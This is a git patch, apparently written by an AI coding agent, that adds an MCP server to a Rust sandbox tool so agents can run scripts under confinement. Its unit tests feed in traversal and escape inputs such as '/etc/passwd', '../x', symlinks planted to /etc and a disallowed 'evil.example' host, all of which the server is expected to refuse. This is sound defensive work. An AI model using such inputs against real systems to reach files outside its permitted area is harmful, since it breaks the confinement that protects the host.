From ca77d62c91beb302ed446e876fb85520de79180d Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 20 Oct 2026 14:18:13 +0000 Subject: [PATCH 01/12] sandbox: sbx mcp, sandboxes as a service any agent can drive `sbx mcp` serves MCP over stdio. An agent can create a sandbox, write scripts and files into it, run them, read what they made, and delete it. Tools: sandbox_create, sandbox_write_file, sandbox_run (an argv `command`, or a `script` run with an `interpreter`, with stdin, cwd and timeout), sandbox_read_file, sandbox_list, sandbox_info and sandbox_destroy, each annotated readOnly/destructive. The operator sets the ceilings (--net, --allow-host, --max-wall, --policy). An agent may ask for less, never more, and a request above a ceiling is refused rather than lowered. By default a sandbox gets: - no network; - an empty environment apart from the essentials; - 4 GB of memory and 1 GB files per process; - 120 s a run (600 at most). Every run is confined to its folder (Landlock, seccomp, Seatbelt) and runs in its own process group, which is killed when the run ends, so nothing runs on in the background between calls. The file tools run in the unconfined server, so they take only relative paths without `..`, check each component for symlinks, and open with O_NOFOLLOW. A link a script planted can't lead the server out. Sandboxes are removed when the server stops (--keep to leave them). Library: Sandbox::run_captured runs with captured output (64 KB per stream kept, totals counted), optional stdin, no signal forwarding, and a group kill after the run. Tests: - tests/mcp.rs drives the real server: script, run, read, list, stdin, exit codes; escapes (writing outside, the network, host secrets, a planted symlink for read and write, `..`, absolute paths); the time limit and background cleanup; the ceilings; removal on exit, and --keep; - unit tests cover path checks, ceilings and the protocol; - live: Claude Code used the server to write and run a Python script and read its output, and its `curl` in the sandbox failed (no network). 27 unit, 15 escape and 2 MCP tests pass; clippy is clean for Linux, macOS and Windows. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_011DiH8n52ifWoCd5Kx2aHwT --- crates/sandbox/README.md | 42 +++ crates/sandbox/src/lib.rs | 114 +++++++ crates/sandbox/src/main.rs | 74 ++++ crates/sandbox/src/server.rs | 646 +++++++++++++++++++++++++++++++++++ crates/sandbox/tests/mcp.rs | 250 ++++++++++++++ 5 files changed, 1126 insertions(+) create mode 100644 crates/sandbox/src/server.rs create mode 100644 crates/sandbox/tests/mcp.rs diff --git a/crates/sandbox/README.md b/crates/sandbox/README.md index 5b59fcd..9fa9a16 100644 --- a/crates/sandbox/README.md +++ b/crates/sandbox/README.md @@ -132,6 +132,47 @@ An unknown key is an error, so a misspelt `wirte` can't silently do nothing. | 126 / 127 | the command could not be run / found | | 128 + n | it was killed by signal n | +## Sandboxes as a service: `sbx mcp` + +`sbx mcp` is an MCP server (stdio) that lets an agent work in sandboxes: +create one, write scripts and files into it, run them, read what they +produced, and delete it. Any agent that speaks MCP can use it: Claude Code, +Codex, incode, or your own. + +```json +{ "mcpServers": { "sbx": { "command": "sbx", "args": ["mcp", "--net", "proxy", "--allow-host", "pypi.org", "--allow-host", "*.pythonhosted.org"] } } } +``` + +| Tool | What it does | +|---|---| +| `sandbox_create` | A private folder. Network `deny` unless the agent asks for `proxy` with hosts (or `allow`) within the server's limits. | +| `sandbox_write_file` | Write a script or file, creating folders; `executable` sets 755. | +| `sandbox_run` | Run `command` (argv) or `script` (text, run with `interpreter`, default `sh`) with optional `stdin`, `cwd` and `timeout_secs`. Returns `exit_code`, `stdout`, `stderr` (64 KB each), `timed_out` and `network_refused`. | +| `sandbox_read_file` / `sandbox_list` | Read results back (256 KB at most). | +| `sandbox_info` | The folder, network and limits, and what this machine enforces. | +| `sandbox_destroy` | Delete it. | + +The operator sets the ceilings when starting the server (`--net`, +`--allow-host`, `--max-wall`, `--policy` for environment and limits). An +agent can ask for less, never more, and a request above a ceiling is refused +rather than quietly lowered. + +By default every sandbox gets: +- no network; +- an empty environment apart from `PATH`, `HOME` and the other + essentials, so no host secrets; +- 4 GB of memory and 1 GB files per process; +- 120 seconds a run (at most 600). + +Every run is confined to its sandbox's folder. When a run ends, everything +it started is killed, so nothing keeps running in the background. + +The server itself is not confined, so the file tools only accept relative +paths with no `..`, and refuse any path through a symlink (each part is +checked). This stops a script from planting a link that would lead the +server out of the sandbox. Sandboxes are removed when the server stops, +unless `--keep` is given. + ## Using it from Rust ```rust @@ -156,6 +197,7 @@ holds the proxy and the temp directory. ## Tests `cargo test -p incord-sandbox` runs: +- `tests/mcp.rs`: `sbx mcp` driven over stdio like an agent drives it. It writes a script, runs it and reads its result; tries escapes (writing outside, the network, host secrets, a planted symlink, `..`, absolute paths); checks the time limit and background cleanup, the limits on what an agent may ask for, and that sandboxes are removed on exit; - the unit tests (policy, environment, allowlist, Seatbelt profile); - on Linux, escape tests through the real binary: writes outside the root, symlinks, hard links, renames, `/proc/self/root`, child processes, reading diff --git a/crates/sandbox/src/lib.rs b/crates/sandbox/src/lib.rs index 1c90b0e..7286e36 100644 --- a/crates/sandbox/src/lib.rs +++ b/crates/sandbox/src/lib.rs @@ -36,6 +36,7 @@ pub mod limits; pub mod policy; pub mod proxy; pub mod seatbelt; +pub mod server; #[cfg(target_os = "linux")] mod linux; @@ -575,6 +576,119 @@ impl Sandbox { } } +/// A command's result with what it printed, kept up to a limit. +#[derive(Debug)] +pub struct Captured { + pub outcome: Outcome, + pub stdout: Vec, + pub stderr: Vec, + /// Bytes printed in all, including what was cut. + pub stdout_total: u64, + pub stderr_total: u64, +} + +impl Sandbox { + /// Run `program args` in `cwd` with `stdin` fed in, keep the first + /// `max_output` bytes of each output stream, and wait for it. + /// + /// For a server running commands on someone else's behalf: no signal is + /// forwarded (the server's own signals are its own), and when the command + /// has its own process group (a wall-clock limit is set) the whole group + /// is killed once the command ends, so nothing it left running in the + /// background outlives the run. + /// + /// # Errors + /// As [`Self::command`], or when the command cannot be started. + pub fn run_captured( + &self, + program: impl AsRef, + args: &[OsString], + cwd: &Path, + stdin: Option<&[u8]>, + max_output: usize, + ) -> Result { + use std::process::Stdio; + let (mut cmd, guard) = self.command(program, args, cwd)?; + cmd.stdin(if stdin.is_some() { + Stdio::piped() + } else { + Stdio::null() + }) + .stdout(Stdio::piped()) + .stderr(Stdio::piped()); + let wall = self.policy.limits.wall_secs.map(Duration::from_secs); + let own_group = guard.own_group; + let mut child = cmd + .spawn() + .map_err(|e| format!("cannot start the helper: {e}"))?; + let out = child.stdout.take().map(|s| drain(s, max_output)); + let err = child.stderr.take().map(|s| drain(s, max_output)); + if let (Some(input), Some(mut pipe)) = (stdin, child.stdin.take()) { + let input = input.to_vec(); + std::thread::spawn(move || { + use std::io::Write; + let _ = pipe.write_all(&input); + }); + } + let pid = child.id(); + let (status, timed_out) = wait(child, wall, own_group)?; + if own_group { + kill_group(pid); + } + let collect = |h: Option, u64)>>| { + h.and_then(|h| h.join().ok()).unwrap_or_default() + }; + let (stdout, stdout_total) = collect(out); + let (stderr, stderr_total) = collect(err); + Ok(Captured { + outcome: Outcome { + status, + timed_out, + decisions: guard.decisions(), + }, + stdout, + stderr, + stdout_total, + stderr_total, + }) + } +} + +/// Read a stream to its end on its own thread, keeping the first `max` bytes +/// and counting the rest. +fn drain( + mut stream: impl std::io::Read + Send + 'static, + max: usize, +) -> std::thread::JoinHandle<(Vec, u64)> { + std::thread::spawn(move || { + let mut kept = Vec::new(); + let mut total = 0u64; + let mut buf = [0u8; 8192]; + while let Ok(n) = stream.read(&mut buf) { + if n == 0 { + break; + } + total += n as u64; + let room = max.saturating_sub(kept.len()); + kept.extend_from_slice(&buf[..n.min(room)]); + } + (kept, total) + }) +} + +/// Kill a process group the sandbox created, whatever is left in it. +fn kill_group(pid: u32) { + #[cfg(unix)] + if let Ok(pid) = i32::try_from(pid) { + // SAFETY: signalling a process group this crate created. + unsafe { + libc::kill(-pid, libc::SIGKILL); + } + } + #[cfg(not(unix))] + let _ = pid; +} + /// The enforcement of `policy` on this machine. #[must_use] pub fn enforcement(policy: &Policy) -> Enforcement { diff --git a/crates/sandbox/src/main.rs b/crates/sandbox/src/main.rs index 5272090..c8ed119 100644 --- a/crates/sandbox/src/main.rs +++ b/crates/sandbox/src/main.rs @@ -4,6 +4,7 @@ //! sbx run [options] -- [args...] //! sbx check [options] what this machine would enforce of the policy //! sbx doctor what this machine can enforce at all +//! sbx mcp [options] sandboxes as an MCP server an agent drives //! ``` use std::ffi::OsString; @@ -21,6 +22,17 @@ USAGE: sbx run [OPTIONS] -- [ARGS...] sbx check [OPTIONS] print what this machine enforces of the policy (JSON with --json) sbx doctor print what this machine can enforce at all + sbx mcp [MCP OPTIONS] serve sandboxes over MCP (stdio): an agent creates one, + writes scripts into it, runs them, reads the results + +MCP OPTIONS (the ceilings; an agent can ask for less, never more): + --root where sandboxes live (default: /sbx-mcp-) + --net most network a sandbox may have: deny (default) | proxy | allow + --allow-host with --net proxy: a host sandboxes may name (repeatable) + --max-wall longest one run may take (default 600) + -p, --policy base policy (environment, limits) every sandbox starts from + --keep leave sandboxes on disk when the server stops + --best-effort run even if part of the policy cannot be enforced here POLICY (a file, then flags on top of it): -p, --policy TOML (or .json) policy file @@ -103,6 +115,7 @@ fn real_main(args: Vec) -> Result { Ok(if e.gaps().is_empty() { 0 } else { 1 }) } "run" => run(parse(&args[1..])?), + "mcp" => mcp(&args[1..]), other => Err(format!("unknown command `{other}` (try `sbx --help`)")), } } @@ -131,6 +144,67 @@ fn run(o: Options) -> Result { Ok(outcome.code()) } +fn mcp(args: &[OsString]) -> Result { + use incord_sandbox::server::{Ceilings, Server}; + let mut root: Option = None; + let mut ceilings = Ceilings::new(PathBuf::new()); + let mut i = 0; + let value = |i: usize| -> Result { + args.get(i) + .and_then(|v| v.to_str()) + .map(str::to_string) + .ok_or_else(|| "a value is missing after an option".to_string()) + }; + while i < args.len() { + let flag = args[i].to_str().unwrap_or(""); + match flag { + "--root" => { + i += 1; + root = Some(PathBuf::from(value(i)?)); + } + "--net" => { + i += 1; + let v = value(i)?; + ceilings.network = + NetMode::parse(&v).ok_or(format!("--net: unknown mode `{v}`"))?; + } + "--allow-host" => { + i += 1; + ceilings.hosts.push(value(i)?); + } + "--max-wall" => { + i += 1; + let v = value(i)?; + ceilings.max_wall_secs = v + .parse() + .ok() + .filter(|n| *n > 0) + .ok_or(format!("--max-wall: `{v}` is not a positive number"))?; + } + "-p" | "--policy" => { + i += 1; + ceilings.base = Policy::load(&PathBuf::from(value(i)?))?; + } + "--keep" => ceilings.keep = true, + "--best-effort" => ceilings.best_effort = true, + other => return Err(format!("sbx mcp: unknown option `{other}`")), + } + i += 1; + } + if !ceilings.hosts.is_empty() && ceilings.network == NetMode::Deny { + ceilings.network = NetMode::Proxy; + } + let root = root + .unwrap_or_else(|| std::env::temp_dir().join(format!("sbx-mcp-{}", std::process::id()))); + std::fs::create_dir_all(&root).map_err(|e| format!("{}: {e}", root.display()))?; + ceilings.root = std::fs::canonicalize(&root).map_err(|e| e.to_string())?; + let stdin = std::io::stdin(); + Server::new(ceilings) + .serve(stdin.lock(), std::io::stdout().lock()) + .map_err(|e| format!("mcp: {e}"))?; + Ok(0) +} + fn parse(args: &[OsString]) -> Result { let mut policy: Option = None; let mut flags: Vec<(String, Option)> = Vec::new(); diff --git a/crates/sandbox/src/server.rs b/crates/sandbox/src/server.rs new file mode 100644 index 0000000..3a6be7b --- /dev/null +++ b/crates/sandbox/src/server.rs @@ -0,0 +1,646 @@ +//! `sbx mcp`: sandboxes as a service an agent drives over MCP (stdio). +//! +//! An agent creates a sandbox, writes scripts and files into it, runs them, +//! reads what they produced, and throws it away. Every run happens under the +//! same policy machinery as `sbx run`: the command may write only inside its +//! sandbox's folder, sees the network only as the operator allowed, gets a +//! cleaned environment, and is killed at its time limit along with anything +//! it started. +//! +//! # Who decides what +//! +//! The OPERATOR (whoever starts `sbx mcp`) sets the ceilings: how much +//! network a sandbox may ever have, which hosts, the longest a run may take. +//! The AGENT (whoever sends the tool calls) chooses within them, and gets +//! less by default: no network, no inherited secrets. A request above a +//! ceiling is refused, not quietly lowered, so the agent knows why. +//! +//! # Files the server touches for the agent +//! +//! `sandbox_write_file`, `_read_file` and `_list` run in the server, which is +//! NOT confined, on paths the agent names. So a path must be relative, may +//! not contain `..`, and no part of it may be a symlink (checked component by +//! component): a script run earlier could otherwise have left a link that +//! points the unconfined server out of the sandbox. Runs are one at a time, +//! and after each run the whole process group is killed, so nothing the +//! agent started is still running to swap a link in between the check and +//! the write. + +use std::collections::BTreeMap; +use std::ffi::OsString; +use std::io::{BufRead, Write}; +use std::path::{Component, Path, PathBuf}; + +use serde_json::{json, Value}; + +use crate::policy::{FsMode, Inherit, NetMode, Policy}; +use crate::Sandbox; + +/// What the operator allows every sandbox, at most. +#[derive(Debug, Clone)] +pub struct Ceilings { + /// The most network a sandbox may ask for. + pub network: NetMode, + /// Under `proxy`: the hosts a sandbox may name (all of them when the + /// ceiling is `allow`). + pub hosts: Vec, + /// The longest one run may take. + pub max_wall_secs: u64, + /// The policy every sandbox starts from (environment, limits). + pub base: Policy, + /// Where sandboxes live. + pub root: PathBuf, + /// Leave sandboxes on disk when the server stops. + pub keep: bool, + /// Run with what can be enforced when not everything can. + pub best_effort: bool, +} + +impl Ceilings { + /// The defaults: no network, ten minutes a run, an empty environment + /// apart from the essentials, 4 GB of memory and 1 GB files per process. + #[must_use] + pub fn new(root: PathBuf) -> Self { + let mut base = Policy::default(); + base.env.inherit = Inherit::None; + base.limits.memory_mb = Some(4096); + base.limits.file_size_mb = Some(1024); + Self { + network: NetMode::Deny, + hosts: Vec::new(), + max_wall_secs: 600, + base, + root, + keep: false, + best_effort: false, + } + } +} + +struct Box_ { + dir: PathBuf, + network: NetMode, + hosts: Vec, + runs: u32, +} + +/// The server's state: its ceilings and the live sandboxes. +pub struct Server { + ceilings: Ceilings, + boxes: BTreeMap, + next: u32, +} + +const MAX_OUTPUT: usize = 64 * 1024; +const MAX_READ: usize = 256 * 1024; +const DEFAULT_TIMEOUT: u64 = 120; + +impl Server { + #[must_use] + pub fn new(ceilings: Ceilings) -> Self { + Self { + ceilings, + boxes: BTreeMap::new(), + next: 0, + } + } + + /// Serve MCP over `input`/`output` (newline-delimited JSON-RPC) until the + /// input ends; then remove the sandboxes unless asked to keep them. + /// + /// # Errors + /// When the output cannot be written. + pub fn serve(&mut self, input: impl BufRead, mut output: impl Write) -> std::io::Result<()> { + for line in input.lines() { + let line = line?; + if line.trim().is_empty() { + continue; + } + if let Some(reply) = self.handle(&line) { + writeln!(output, "{reply}")?; + output.flush()?; + } + } + if !self.ceilings.keep { + let ids: Vec = self.boxes.keys().cloned().collect(); + for id in ids { + let _ = self.destroy(&id); + } + } + Ok(()) + } + + /// One JSON-RPC message in, the reply out (none for a notification). + pub fn handle(&mut self, line: &str) -> Option { + let msg: Value = match serde_json::from_str(line) { + Ok(v) => v, + Err(e) => return Some(error(Value::Null, -32700, &format!("parse error: {e}"))), + }; + let id = msg.get("id").cloned()?; + let method = msg.get("method").and_then(Value::as_str).unwrap_or(""); + let params = msg.get("params").cloned().unwrap_or(Value::Null); + let result = match method { + "initialize" => json!({ + "protocolVersion": params + .get("protocolVersion") + .and_then(Value::as_str) + .unwrap_or("2025-06-18"), + "capabilities": { "tools": {} }, + "serverInfo": { "name": "sbx", "version": env!("CARGO_PKG_VERSION") }, + "instructions": INSTRUCTIONS, + }), + "ping" => json!({}), + "tools/list" => json!({ "tools": tools() }), + "tools/call" => { + let name = params.get("name").and_then(Value::as_str).unwrap_or(""); + let args = params.get("arguments").cloned().unwrap_or(json!({})); + let (text, is_error) = match self.call(name, &args) { + Ok(v) => (pretty(&v), false), + Err(e) => (e, true), + }; + json!({ "content": [{ "type": "text", "text": text }], "isError": is_error }) + } + other => return Some(error(id, -32601, &format!("unknown method `{other}`"))), + }; + Some(json!({ "jsonrpc": "2.0", "id": id, "result": result })) + } + + fn call(&mut self, tool: &str, args: &Value) -> Result { + match tool { + "sandbox_create" => self.create(args), + "sandbox_write_file" => self.write_file(args), + "sandbox_read_file" => self.read_file(args), + "sandbox_list" => self.list(args), + "sandbox_run" => self.run(args), + "sandbox_info" => self.info(args), + "sandbox_destroy" => { + let id = str_arg(args, "id")?; + self.destroy(id)?; + Ok(json!({ "destroyed": id })) + } + other => Err(format!("unknown tool `{other}`")), + } + } + + fn create(&mut self, args: &Value) -> Result { + let network = match args.get("network").and_then(Value::as_str) { + None => NetMode::Deny, + Some(w) => NetMode::parse(w).ok_or(format!("network: unknown mode `{w}`"))?, + }; + if rank(network) > rank(self.ceilings.network) { + return Err(format!( + "network `{}` is above what this server allows (`{}`)", + network.as_str(), + self.ceilings.network.as_str() + )); + } + let hosts: Vec = match args.get("allow_hosts") { + None => Vec::new(), + Some(v) => serde_json::from_value(v.clone()) + .map_err(|_| "allow_hosts: expected a list of host names".to_string())?, + }; + if network == NetMode::Proxy { + if hosts.is_empty() { + return Err("network `proxy` needs allow_hosts".to_string()); + } + if self.ceilings.network == NetMode::Proxy { + let ceiling = crate::proxy::Allowlist::new(&self.ceilings.hosts, false)?; + for h in &hosts { + let (name, port) = match h.rsplit_once(':') { + Some((n, p)) => (n, p.parse().unwrap_or(443)), + None => (h.as_str(), 443), + }; + if !ceiling.allows(name.trim_start_matches("*."), port) { + return Err(format!( + "host `{h}` is not among the hosts this server allows: {}", + self.ceilings.hosts.join(", ") + )); + } + } + } + crate::proxy::Allowlist::new(&hosts, false)?; + } else if !hosts.is_empty() { + return Err("allow_hosts needs network `proxy`".to_string()); + } + + self.next += 1; + let id = format!("sbx-{}-{}", std::process::id(), self.next); + let dir = self.ceilings.root.join(&id); + std::fs::create_dir_all(&dir).map_err(|e| format!("{}: {e}", dir.display()))?; + let dir = std::fs::canonicalize(&dir).map_err(|e| e.to_string())?; + self.boxes.insert( + id.clone(), + Box_ { + dir: dir.clone(), + network, + hosts, + runs: 0, + }, + ); + let info = self.info(&json!({ "id": id }))?; + Ok(info) + } + + fn sandbox(&self, args: &Value) -> Result<(&str, &Box_), String> { + let id = str_arg(args, "id")?; + self.boxes + .get_key_value(id) + .map(|(k, b)| (k.as_str(), b)) + .ok_or_else(|| format!("no sandbox `{id}` (create one with sandbox_create)")) + } + + fn policy_for(&self, b: &Box_, timeout: u64) -> Policy { + let mut p = self.ceilings.base.clone(); + p.fs.mode = FsMode::WorkspaceWrite; + p.fs.write = vec![b.dir.clone()]; + p.network.mode = b.network; + p.network.allow = b.hosts.clone(); + p.limits.wall_secs = Some(timeout); + p + } + + fn info(&self, args: &Value) -> Result { + let (id, b) = self.sandbox(args)?; + let policy = self.policy_for(b, self.ceilings.max_wall_secs); + let e = crate::enforcement(&policy); + Ok(json!({ + "id": id, + "folder": b.dir.display().to_string(), + "network": b.network.as_str(), + "allow_hosts": b.hosts, + "max_timeout_secs": self.ceilings.max_wall_secs, + "runs": b.runs, + "enforcement": e, + })) + } + + fn write_file(&mut self, args: &Value) -> Result { + let (_, b) = self.sandbox(args)?; + let rel = str_arg(args, "path")?; + let content = str_arg(args, "content")?; + let path = inside(&b.dir, rel, true)?; + write_new(&path, content.as_bytes())?; + #[cfg(unix)] + if args.get("executable").and_then(Value::as_bool) == Some(true) { + use std::os::unix::fs::PermissionsExt; + std::fs::set_permissions(&path, std::fs::Permissions::from_mode(0o755)) + .map_err(|e| e.to_string())?; + } + Ok(json!({ "written": rel, "bytes": content.len() })) + } + + fn read_file(&self, args: &Value) -> Result { + let (_, b) = self.sandbox(args)?; + let rel = str_arg(args, "path")?; + let path = inside(&b.dir, rel, false)?; + let bytes = read_nofollow(&path)?; + let max = args + .get("max_bytes") + .and_then(Value::as_u64) + .map_or(MAX_READ, |m| (m as usize).min(MAX_READ)); + let shown = &bytes[..bytes.len().min(max)]; + Ok(json!({ + "path": rel, + "bytes": bytes.len(), + "truncated": bytes.len() > shown.len(), + "content": String::from_utf8_lossy(shown), + })) + } + + fn list(&self, args: &Value) -> Result { + let (_, b) = self.sandbox(args)?; + let rel = args.get("path").and_then(Value::as_str).unwrap_or("."); + let dir = inside(&b.dir, rel, false)?; + let mut entries = Vec::new(); + for e in std::fs::read_dir(&dir).map_err(|e| format!("{rel}: {e}"))? { + let e = e.map_err(|e| e.to_string())?; + let meta = e.path().symlink_metadata().map_err(|e| e.to_string())?; + let kind = if meta.file_type().is_symlink() { + "symlink" + } else if meta.is_dir() { + "dir" + } else { + "file" + }; + entries.push(json!({ + "name": e.file_name().to_string_lossy(), + "type": kind, + "bytes": meta.len(), + })); + } + entries.sort_by(|a, b| a["name"].as_str().cmp(&b["name"].as_str())); + Ok(json!({ "path": rel, "entries": entries })) + } + + fn run(&mut self, args: &Value) -> Result { + let timeout = args + .get("timeout_secs") + .and_then(Value::as_u64) + .unwrap_or(DEFAULT_TIMEOUT.min(self.ceilings.max_wall_secs)); + if timeout == 0 || timeout > self.ceilings.max_wall_secs { + return Err(format!( + "timeout_secs must be 1..={} on this server", + self.ceilings.max_wall_secs + )); + } + let (id, b) = self.sandbox(args)?; + let id = id.to_string(); + let dir = b.dir.clone(); + let policy = self.policy_for(b, timeout); + let cwd = match args.get("cwd").and_then(Value::as_str) { + Some(rel) => inside(&dir, rel, false)?, + None => dir.clone(), + }; + + let argv: Vec = match (args.get("command"), args.get("script")) { + (Some(c), None) => serde_json::from_value(c.clone()) + .map_err(|_| "command: expected a list like [\"python3\", \"x.py\"]".to_string())?, + (None, Some(s)) => { + let script = s.as_str().ok_or("script: expected text")?; + let interpreter = args + .get("interpreter") + .and_then(Value::as_str) + .unwrap_or("sh"); + let runs = self.boxes.get(&id).map_or(0, |b| b.runs) + 1; + let name = format!(".sbx/script-{runs}"); + let path = inside(&dir, &name, true)?; + write_new(&path, script.as_bytes())?; + vec![interpreter.to_string(), path.display().to_string()] + } + _ => return Err("give either `command` (a list) or `script` (text)".to_string()), + }; + let (program, rest) = argv.split_first().ok_or("command is empty")?; + let rest: Vec = rest.iter().map(OsString::from).collect(); + let stdin = args.get("stdin").and_then(Value::as_str); + + let captured = Sandbox::new(policy) + .strict(!self.ceilings.best_effort) + .run_captured(program, &rest, &cwd, stdin.map(str::as_bytes), MAX_OUTPUT)?; + if let Some(b) = self.boxes.get_mut(&id) { + b.runs += 1; + } + let refused: Vec = captured + .outcome + .decisions + .iter() + .filter(|d| !d.allowed) + .map(|d| format!("{} ({})", d.target, d.reason)) + .collect(); + Ok(json!({ + "exit_code": captured.outcome.code(), + "timed_out": captured.outcome.timed_out, + "stdout": String::from_utf8_lossy(&captured.stdout), + "stderr": String::from_utf8_lossy(&captured.stderr), + "stdout_truncated": captured.stdout_total > captured.stdout.len() as u64, + "stderr_truncated": captured.stderr_total > captured.stderr.len() as u64, + "network_refused": refused, + })) + } + + fn destroy(&mut self, id: &str) -> Result<(), String> { + let b = self + .boxes + .remove(id) + .ok_or_else(|| format!("no sandbox `{id}`"))?; + // Only ever a folder this server made beneath its root. + let root = std::fs::canonicalize(&self.ceilings.root).map_err(|e| e.to_string())?; + if !b.dir.starts_with(&root) || b.dir == root { + return Err(format!("{} is not a sandbox folder", b.dir.display())); + } + std::fs::remove_dir_all(&b.dir).map_err(|e| format!("{}: {e}", b.dir.display())) + } +} + +fn rank(m: NetMode) -> u8 { + match m { + NetMode::Deny => 0, + NetMode::Proxy => 1, + NetMode::Allow => 2, + } +} + +fn str_arg<'a>(args: &'a Value, key: &str) -> Result<&'a str, String> { + args.get(key) + .and_then(Value::as_str) + .ok_or_else(|| format!("`{key}` is required")) +} + +/// `rel` beneath `root`, refused when it is absolute, climbs with `..`, or +/// passes through a symlink. With `create`, missing parent folders are made +/// (each checked the same way). +pub fn inside(root: &Path, rel: &str, create: bool) -> Result { + let rel_path = Path::new(rel); + let mut at = root.to_path_buf(); + let parts: Vec = rel_path.components().collect(); + for (i, part) in parts.iter().enumerate() { + match part { + Component::Normal(name) => { + at.push(name); + match at.symlink_metadata() { + Ok(m) if m.file_type().is_symlink() => { + return Err(format!("`{rel}` passes through a symlink; refused")); + } + Ok(_) => {} + Err(_) if create && i + 1 < parts.len() => { + std::fs::create_dir(&at).map_err(|e| format!("{rel}: {e}"))?; + } + Err(_) => {} + } + } + Component::CurDir => {} + _ => { + return Err(format!( + "`{rel}` must be a relative path inside the sandbox" + )) + } + } + } + Ok(at) +} + +/// Write `bytes` to `path`, replacing a regular file, never following a link. +fn write_new(path: &Path, bytes: &[u8]) -> Result<(), String> { + if let Ok(m) = path.symlink_metadata() { + if m.file_type().is_symlink() { + return Err(format!("{} is a symlink; refused", path.display())); + } + } + let mut opts = std::fs::OpenOptions::new(); + opts.write(true).create(true).truncate(true); + #[cfg(unix)] + { + use std::os::unix::fs::OpenOptionsExt; + opts.custom_flags(libc::O_NOFOLLOW); + } + let mut f = opts + .open(path) + .map_err(|e| format!("{}: {e}", path.display()))?; + f.write_all(bytes).map_err(|e| e.to_string()) +} + +fn read_nofollow(path: &Path) -> Result, String> { + let mut opts = std::fs::OpenOptions::new(); + opts.read(true); + #[cfg(unix)] + { + use std::os::unix::fs::OpenOptionsExt; + opts.custom_flags(libc::O_NOFOLLOW); + } + let mut f = opts + .open(path) + .map_err(|e| format!("{}: {e}", path.display()))?; + let mut out = Vec::new(); + std::io::Read::read_to_end(&mut f, &mut out).map_err(|e| e.to_string())?; + Ok(out) +} + +fn pretty(v: &Value) -> String { + serde_json::to_string_pretty(v).unwrap_or_else(|_| v.to_string()) +} + +fn error(id: Value, code: i64, message: &str) -> Value { + json!({ "jsonrpc": "2.0", "id": id, "error": { "code": code, "message": message } }) +} + +const INSTRUCTIONS: &str = "Sandboxes for running code safely. sandbox_create makes one (no \ +network unless asked and allowed); sandbox_write_file puts scripts and files in it; sandbox_run \ +runs a command or a script inside it, confined to its folder with a time limit; \ +sandbox_read_file and sandbox_list read results; sandbox_destroy removes it. Paths are relative \ +to the sandbox's folder."; + +fn tools() -> Value { + let id = json!({ "type": "string", "description": "The sandbox, from sandbox_create." }); + let path = json!({ "type": "string", "description": "Relative to the sandbox's folder." }); + json!([ + { + "name": "sandbox_create", + "description": "Create a sandbox: a private folder where commands run confined (they can write only there, get no secrets from the host's environment, and are killed at a time limit). Network is off unless you ask for `proxy` with allow_hosts (or `allow`), within what the server permits.", + "inputSchema": { "type": "object", "properties": { + "network": { "type": "string", "enum": ["deny", "proxy", "allow"], "description": "Default deny." }, + "allow_hosts": { "type": "array", "items": { "type": "string" }, "description": "With proxy: hosts like pypi.org, *.npmjs.org, example.com:8443." } + }}, + "annotations": { "readOnlyHint": false, "destructiveHint": false } + }, + { + "name": "sandbox_write_file", + "description": "Write a file (a script, data, a config) into the sandbox, creating folders as needed. Replaces an existing file.", + "inputSchema": { "type": "object", "required": ["id", "path", "content"], "properties": { + "id": id, "path": path, + "content": { "type": "string" }, + "executable": { "type": "boolean", "description": "chmod 755 after writing." } + }}, + "annotations": { "readOnlyHint": false, "destructiveHint": true } + }, + { + "name": "sandbox_run", + "description": "Run a command (`command`, an argv list) or a script (`script`, text run with `interpreter`, default sh) inside the sandbox. Returns exit_code, stdout, stderr (64 KB each at most), timed_out, and any network requests the proxy refused. Everything the run started is stopped when it ends.", + "inputSchema": { "type": "object", "required": ["id"], "properties": { + "id": id, + "command": { "type": "array", "items": { "type": "string" } }, + "script": { "type": "string" }, + "interpreter": { "type": "string", "description": "For script: sh, bash, python3, node, ..." }, + "cwd": path, + "stdin": { "type": "string" }, + "timeout_secs": { "type": "integer", "description": "Default 120, at most the server's limit." } + }}, + "annotations": { "readOnlyHint": false, "destructiveHint": true } + }, + { + "name": "sandbox_read_file", + "description": "Read a file from the sandbox (256 KB at most).", + "inputSchema": { "type": "object", "required": ["id", "path"], "properties": { + "id": id, "path": path, "max_bytes": { "type": "integer" } + }}, + "annotations": { "readOnlyHint": true } + }, + { + "name": "sandbox_list", + "description": "List a folder in the sandbox (default: its top).", + "inputSchema": { "type": "object", "required": ["id"], "properties": { "id": id, "path": path }}, + "annotations": { "readOnlyHint": true } + }, + { + "name": "sandbox_info", + "description": "What a sandbox enforces on this machine, its folder, network and limits.", + "inputSchema": { "type": "object", "required": ["id"], "properties": { "id": id }}, + "annotations": { "readOnlyHint": true } + }, + { + "name": "sandbox_destroy", + "description": "Delete a sandbox and everything in it.", + "inputSchema": { "type": "object", "required": ["id"], "properties": { "id": id }}, + "annotations": { "readOnlyHint": false, "destructiveHint": true } + } + ]) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn paths_stay_inside_and_never_follow_links() { + let root = tempfile::tempdir().expect("tempdir"); + let base = std::fs::canonicalize(root.path()).expect("canon"); + assert!(inside(&base, "/etc/passwd", false).is_err()); + assert!(inside(&base, "../x", false).is_err()); + assert!(inside(&base, "a/../../x", false).is_err()); + let made = inside(&base, "a/b/c.txt", true).expect("nested"); + assert!(base.join("a/b").is_dir()); + assert_eq!(made, base.join("a/b/c.txt")); + #[cfg(unix)] + { + std::os::unix::fs::symlink("/etc", base.join("out")).expect("link"); + assert!(inside(&base, "out/passwd", false).is_err()); + std::os::unix::fs::symlink("/etc/hostname", base.join("f")).expect("link"); + assert!(inside(&base, "f", false).is_err()); + } + } + + #[test] + fn requests_above_the_ceilings_are_refused() { + let root = tempfile::tempdir().expect("tempdir"); + let mut c = Ceilings::new(root.path().to_path_buf()); + c.network = NetMode::Proxy; + c.hosts = vec!["pypi.org".into(), "*.pythonhosted.org".into()]; + let mut s = Server::new(c); + assert!(s.create(&json!({"network": "allow"})).is_err()); + assert!(s + .create(&json!({"network": "proxy", "allow_hosts": ["evil.example"]})) + .is_err()); + assert!(s + .create( + &json!({"network": "proxy", "allow_hosts": ["pypi.org", "files.pythonhosted.org"]}) + ) + .is_ok()); + assert!(s.create(&json!({})).is_ok(), "deny is always allowed"); + } + + #[test] + fn the_protocol_answers_initialize_and_lists_the_tools() { + let root = tempfile::tempdir().expect("tempdir"); + let mut s = Server::new(Ceilings::new(root.path().to_path_buf())); + let init = s + 